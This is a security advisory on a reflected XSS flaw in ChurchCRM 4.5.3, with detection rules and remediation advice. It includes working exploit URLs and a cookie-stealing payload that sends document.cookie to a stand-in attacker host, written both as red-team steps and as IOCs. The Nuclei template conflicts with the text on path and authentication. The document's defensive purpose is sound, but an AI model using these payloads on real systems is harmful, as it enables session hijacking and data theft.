CVE-2023-25346

Executive Summary

CVE-2023-25346 is a reflected cross-site scripting (XSS) vulnerability identified in ChurchCRM version 4.5.3. The flaw resides in the /churchcrm/v2/family/not-found endpoint, where the id parameter is not properly sanitized before being reflected in the HTTP response. An unauthenticated remote attacker can inject arbitrary web script or HTML, leading to potential data theft, session hijacking, or defacement. The vulnerability has a CVSS score of 6.1 (Medium) and a public proof-of-concept (PoC) is available via a Nuclei template. No official patch has been released at the time of analysis.

Supply Chain & Package Security

ChurchCRM is a PHP-based open-source application. The vulnerability exists in the core application code, not in a third-party package. However, organizations using ChurchCRM should verify the integrity of their installation and monitor for any unofficial patches or forks that address this issue.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the victim must click a crafted link.
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction but can be exploited without authentication. The impact is limited to script injection within the user's browser session.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS. The id parameter in the /churchcrm/v2/family/not-found endpoint is taken directly from the URL and reflected in the HTML response without proper encoding or sanitization. An attacker can craft a malicious URL containing JavaScript code in the id parameter. When a victim clicks the link, the script executes in the context of the ChurchCRM application, allowing the attacker to steal cookies, redirect the user, or perform actions on behalf of the victim.

The Nuclei template confirms the vulnerability by sending a POST request to authenticate (if needed) and then a GET request to the vulnerable endpoint with a payload: id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E. The response contains the injected script, confirming the XSS.

Vulnerable vs. Patched Code

Vulnerable Code (ChurchCRM 4.5.3): The vulnerable endpoint likely outputs the id parameter directly without sanitization. For example:

// Vulnerable: directly echoes the id parameter
echo "<div>Family not found: " . $_GET['id'] . "</div>";

Patched Code (Hypothetical): A patched version would use htmlspecialchars() or similar encoding to neutralize the input:

// Patched: encode output
echo "<div>Family not found: " . htmlspecialchars($_GET['id'], ENT_QUOTES, 'UTF-8') . "</div>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of ChurchCRM 4.5.3.
• A web browser or tool like curl to send crafted requests.

Exploitation Steps:

1. Identify the target ChurchCRM instance.
2. Craft a malicious URL:

   http://target/churchcrm/v2/family/not-found?id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
   

3. Send the URL to a victim (e.g., via email or social engineering).
4. When the victim clicks the link, the JavaScript executes, displaying an alert box with the domain.

Advanced Payload: To steal cookies:

http://target/churchcrm/v2/family/not-found?id=%22%3E%3Cscript%3Edocument.location=%27http://attacker.com/steal.php?cookie=%27%2Bdocument.cookie%3C/script%3E

Blue Team

Detection:

• Monitor web server logs for requests to /churchcrm/v2/family/not-found with suspicious id parameters containing <script> tags or URL-encoded JavaScript.
• Use the provided YARA and Sigma rules to detect exploitation attempts.

Mitigation:

• Apply input validation and output encoding to the id parameter.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads.
• Restrict access to the vulnerable endpoint if possible.

Indicators of Compromise (IOCs)

• URL Pattern: /churchcrm/v2/family/not-found?id=*
• Payload Examples:
  • id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
  • id=%22%3E%3Cscript%3Edocument.location=%27http://attacker.com/steal.php?cookie=%27%2Bdocument.cookie%3C/script%3E
• Log Entries: HTTP GET requests to /churchcrm/v2/family/not-found with id parameter containing <script> or %3Cscript%3E.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.

Detection Engineering

YARA Rule

rule CVE_2023_25346_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting CVE-2023-25346 in ChurchCRM"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-25346"
    strings:
        $xss_payload = /id=[^&]*%3Cscript%3E/i
        $xss_payload2 = /id=[^&]*<script>/i
    condition:
        any of them
}

Sigma Rule

title: ChurchCRM Reflected XSS Attempt (CVE-2023-25346)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against ChurchCRM 4.5.3
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/churchcrm/v2/family/not-found'
        cs-uri-query|contains|all:
            - 'id='
            - '<script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-25346 ChurchCRM Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/churchcrm/v2/family/not-found"; http_uri; content:"id="; http_uri; pcre:"/id=[^&]*<script>/iU"; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-25346

info:
  name: ChurchCRM 4.5.3 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the id parameter of /churchcrm/v2/family/not-found.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-25346
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25346
    - https://github.com/ChurchCRM/CRM
    - https://github.com/10splayaSec/CVE-Disclosures
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-25346
    cwe-id: CWE-79
    epss-score: 0.12346
    epss-percentile: 0.93905
    cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: churchcrm
    product: churchcrm
  tags: cve2023,cve,churchcrm,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}
      - |
        GET /v2/person/not-found?id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert(document.domain)</script>")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the id parameter by allowing only expected characters (e.g., alphanumeric).
2. Output Encoding: Use htmlspecialchars() or equivalent to encode output in PHP.
3. WAF Rules: Deploy a Web Application Firewall to block XSS payloads.
4. Access Control: Restrict access to the vulnerable endpoint to authenticated users only if possible.

Long-Term Fix:

• Upgrade to a patched version of ChurchCRM once available.
• Implement a Content Security Policy (CSP) to mitigate the impact of XSS.
• Conduct regular security audits and penetration testing.

Valters IT

{/* [Security Hash: B58EE420BA6D36CC34024805] */}